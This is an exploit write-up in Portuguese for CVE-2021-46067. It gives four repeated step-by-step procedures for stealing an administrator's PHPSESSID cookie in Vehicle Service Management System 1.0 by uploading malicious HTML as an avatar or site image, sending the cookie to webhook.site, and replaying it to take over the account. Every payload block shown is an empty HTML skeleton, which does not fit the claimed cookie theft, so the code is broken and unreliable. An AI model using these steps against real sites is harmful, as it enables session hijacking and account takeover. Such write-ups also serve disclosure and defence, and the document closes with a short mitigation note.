CVE-2021-46067
Título do Exploit: Vehicle Service Management System - 'Múltiplo' Roubo de Cookie Leva à Tomada Total de Conta
Autor do Exploit: SANU P.L
CVE: CVE-2021-46067
CVSS: 9.8 CRÍTICO
Referências:
Descrição:
No Vehicle Service Management System 1.0, um atacante pode roubar os cookies, levando à Tomada Total de Conta.
1. Vehicle Service Management System - 'MyAccount' (/admin/?page=user)
Exploit:
- Faça login no painel de administração http://localhost/vehicle_service/admin
- Navegue até a seção Minha Conta http://localhost/vehicle_service/admin/?page=user
- Gere o URL do Webhook - https://webhook.site
- Copie o URL único do Webhook e cole-o no código html abaixo.
Payload:
<!DOCTYPE html>
<html>
<title>Cookie Stealing</title>
<body>
</body>
</html>
- Salve o código html acima, por exemplo: Cookie Stealing.html
- Na seção Minha Conta, insira todos os detalhes necessários e selecione o arquivo html em Avatar.
- Clique no botão de atualizar.
- Abra a imagem do avatar em uma nova aba e verifique o status do Webhook.
- Recebemos a requisição; ela contém PHPSESSID.
- Copie o valor do PHPSESSID e abra outro navegador.
- Visite o painel de administração http://localhost/vehicle_service/admin
- Verifique os valores dos cookies e altere o valor do PHPSESSID para o valor copiado.
- Agora acesse o painel de administração http://localhost/vehicle_service/admin
- Login realizado com sucesso na conta. Tomada de Conta bem-sucedida.
2. Vehicle Service Management System - 'Lista de Usuários' (/admin/?page=user/manage_user)
Exploit:
- Faça login no painel de administração http://localhost/vehicle_service/admin
- Navegue até a seção Lista de Usuários e clique no botão Criar Novo.
- Gere o URL do Webhook - https://webhook.site
- Copie o URL único do Webhook e cole-o no código html abaixo.
Payload:
<!DOCTYPE html>
<html>
<title>Cookie Stealing</title>
<body>
</body>
</html>
- Salve o código html acima, por exemplo: Cookie Stealing.html
- Na seção Criar Novo Usuário, insira todos os detalhes necessários e selecione o arquivo html em Avatar.
- Clique no botão Salvar.
- Abra a imagem do avatar em uma nova aba e verifique o status do Webhook.
- Recebemos a requisição; ela contém PHPSESSID.
- Copie o valor do PHPSESSID e abra outro navegador.
- Visite o painel de administração http://localhost/vehicle_service/admin
- Verifique os valores dos cookies e altere o valor do PHPSESSID para o valor copiado.
- Agora acesse o painel de administração http://localhost/vehicle_service/admin
- Login realizado com sucesso na conta. Tomada de Conta bem-sucedida.
3. Vehicle Service Management System - 'Configurações - Logotipo do Sistema' (/admin/?page=system_info)
Exploit:
- Faça login no painel de administração http://localhost/vehicle_service/admin
- Navegue até a seção Configurações http://localhost/vehicle_service/admin/?page=system_info
- Gere o URL do Webhook - https://webhook.site
- Copie o URL único do Webhook e cole-o no código html abaixo.
Payload:
<!DOCTYPE html>
<html>
<title>Cookie Stealing</title>
<body>
</body>
</html>
- Salve o código html acima, por exemplo: Cookie Stealing.html
- Na seção Configurações, insira todos os detalhes necessários e selecione o arquivo html em Logotipo do Sistema.
- Clique no botão de atualizar.
- Abra a imagem do Logotipo do Sistema em uma nova aba e verifique o status do Webhook.
- Recebemos a requisição; ela contém PHPSESSID.
- Copie o valor do PHPSESSID e abra outro navegador.
- Visite o painel de administração http://localhost/vehicle_service/admin
- Verifique os valores dos cookies e altere o valor do PHPSESSID para o valor copiado.
- Agora acesse o painel de administração http://localhost/vehicle_service/admin
- Login realizado com sucesso na conta. Tomada de Conta bem-sucedida.
4. Vehicle Service Management System - 'Configurações - Capa do Site' (/admin/?page=system_info)
Exploit:
- Faça login no painel de administração http://localhost/vehicle_service/admin
- Navegue até a seção Configurações http://localhost/vehicle_service/admin/?page=system_info
- Gere o URL do Webhook - https://webhook.site
- Copie o URL único do Webhook e cole-o no código html abaixo.
Payload:
<!DOCTYPE html>
<html>
<title>Cookie Stealing</title>
<body>
</body>
</html>
- Salve o código html acima, por exemplo: Cookie Stealing.html
- Na seção Configurações, insira todos os detalhes necessários e selecione o arquivo html em Capa do Site.
- Clique no botão de atualizar.
- Abra a imagem da Capa do Site em uma nova aba e verifique o status do Webhook.
- Recebemos a requisição; ela contém PHPSESSID.
- Copie o valor do PHPSESSID e abra outro navegador.
- Visite o painel de administração http://localhost/vehicle_service/admin
- Verifique os valores dos cookies e altere o valor do PHPSESSID para o valor copiado.
- Agora acesse o painel de administração http://localhost/vehicle_service/admin
- Login realizado com sucesso na conta. Tomada de Conta bem-sucedida.
Impacto:
Um atacante faz upload de um arquivo html malicioso que redireciona para um site de terceiros e os cookies são expostos na requisição. Isso leva à Tomada Total de Conta.
Mitigação:
Recomenda-se validar a funcionalidade de upload de arquivos e realizar verificações secundárias na sessão.